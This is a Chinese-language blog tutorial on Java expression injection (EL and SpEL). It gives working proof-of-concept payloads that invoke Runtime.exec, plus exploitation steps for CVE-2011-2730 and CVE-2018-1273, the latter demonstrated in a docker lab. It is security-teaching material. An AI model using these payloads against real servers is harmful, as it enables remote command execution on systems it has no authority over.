当前位置: 首页 > article >正文

【Java代码审计】表达式注入

1 前置知识

1.1 EL表达式

EL表达式主要功能

  • 获取数据:可以从JSP四大作用域中获取数据
  • 执行运算:执行一些关系运算,逻辑运算,算术运算
  • 获取web开发常用对象:通过内置 的11个隐式对象获取想要的数据
  • 调用java方法:允许用户开发自定义EL函数,通过EL表达式调用java方法

JSP四大作用域

  • page:只在一个页面保存数据(默认)
  • request:只在一个请求保存数据
  • session:只在一个会话保存数据
  • application:在整个服务器保存数据,全部用户共享

EL表达式获取对象属性的方法

  • ${对象.属性}
  • [] :属性名中存在特殊字符或者属性名是一个变量时使用

实例化java内置类

  • 例如使用Runtime.class会执行系统命令${Runtime.getRuntime().exec("calc")}

jsp标准方法与EL表达式取值的区别

JSPEL表达式
<%=((Person)request.getAttribute("p")).getName()%>${p.name}
<%=((Person)request.getAttribute("p")).getAge()%>${p.age}

1.2 SPEL表达式

SPEL表达式注入:独立于Spring容器使用,但只被当成简单的表达式语言使用

SPEL中EvaluationContext(表示解析器)用于评估表达式和解析属性、方法以及字段并帮助执行类型转换的接口

两种实现方法

SimpleEvaluationContextStandardEvaluationContext(默认)
权限小,只支持一些map结构权限大,可以执行任意代码,会被恶意用户利用
针对不需要SPEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集公开SpEL全部语言功能和配置选项。用户可以使用他来指定默认的跟对象并配置每个可用的评估相关策略

利用

String expressionstr = "T(Runtime).getRuntime().exec(\"calc\")";
// 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现
ExpressionParser parser = new SpelExpressionParser();
// 构造上下文:准备比如变量定义等等表达式需要的上下文数据
EvaluationContext evaluationContext = new StandardEvaluationContext();
// 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象
Expression expression = parser.parseExpression(expressionstr);
system.out.prinln(expression.getValue(evaluarionContext));

2 漏洞描述

表达式注入(EL表达式),JSP的一种内置语言。作用于用户访问页面的上下文以及不同作用域的对象,取得对象属性值或者执行简单的运算和判断操作。

3 通用POC

//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

4 CVE-2011-2730-Spring标签EL表达式注入

原理:Spring的message标签会对EL表达式进行解析,且 web容器也会对EL表达式进行解析,两次解析造成EL表达式注入。

spring message标签形式:<spring:message text="${param.a}"></spring:message>

利用

  • 获取信息a = ${applicationScope}

  • 攻击性:利用反射,先获取getRuntime方法中的method对象,然后通过invoke获取Runtime对象,然后可以直接调用exec方法运行恶意代码

    <spring:message text=
    "${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">
    </spring:message>
    

验证步骤

  1. 确定web应用使用了spring标签,因为没有spring标签的话,也就谈不上EL表达式注入了
  2. 确定标签中存在EL注入,可以通过提交${applicationScope}等进行测试
  3. 判断servlet容器版本,如果容器不支持EL2.2的话,存在EL注入也只能进行获取服务器信息等操作了
  4. 如果容器支持EL2.2,就可以尝试构造攻击代码对服务器本身直接进行攻击

5 CVE-2018-1273-Spring Data Commons 远程代码执行漏洞

5.1 描述

成因:当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为Spel的执行内容。

前置知识:Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令.

漏洞的判定:确认目标项目中含有Spring-data-commons包并且版本范围如下

Spring Data Commons 1.13 to 1.13.10

Spring Data Commons 2.0 to 2.0.5

5.2 docker复现

burp抓包,使用payload:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

在这里插入图片描述

放包,页面返回如下

在这里插入图片描述

使用命令docker-compose exec spring bash

进入目录查看是否有success,有success

在这里插入图片描述


http://www.kler.cn/a/6440.html

相关文章:

  • 《解锁 Python 数据挖掘的奥秘》
  • GM_T 0039《密码模块安全检测要求》题目
  • Bazel CI
  • 【ue5学习笔记2】在场景放入一个物体的蓝图输入事件无效?
  • 将HTML转换为PDF:使用Spire.Doc的详细指南(一) 试用版
  • 【看海的算法日记✨优选篇✨】第二回:流动之窗,探索算法的优雅之道
  • SQL之存储函数
  • WebRTC Probe 探测码率、transport-cc作用
  • BGP 十一条选路原则与BGP路由传递的注意事项介绍
  • 玩转git的第6章节:git的smart checkout与force checkout
  • ping协议(ICMP)的原理
  • 家电行业采购-分销-电商-仓储业务用契约锁电子签,提效95%
  • 力扣(134.860.406.452)补9.26
  • Spring框架AOP增强,动态代理
  • Cursor——ChatGPT的替代品【笔记】
  • linux GlusterFS文件系统 | GFS分布式文件系统群集部署 | 超详细
  • 心理咨询师证书有用吗 有必要考吗
  • Python高阶函数(Higher-order Function)
  • GFS分布式文件系统
  • 【系统可靠性】搭建可靠性系统工程实践
  • 【ArcGIS微课1000例】0067:Nodata数据处理的3种方法案例教程
  • 马上中秋节了,Python带你实现查票以及购票....
  • 文章三:Python网络编程实战:爬虫技术入门与实践
  • 【蓝桥杯冲刺】KMP算法
  • Linux命令·vmstat
  • 【新2023Q2押题JAVA】华为OD机试 - 整理扑克牌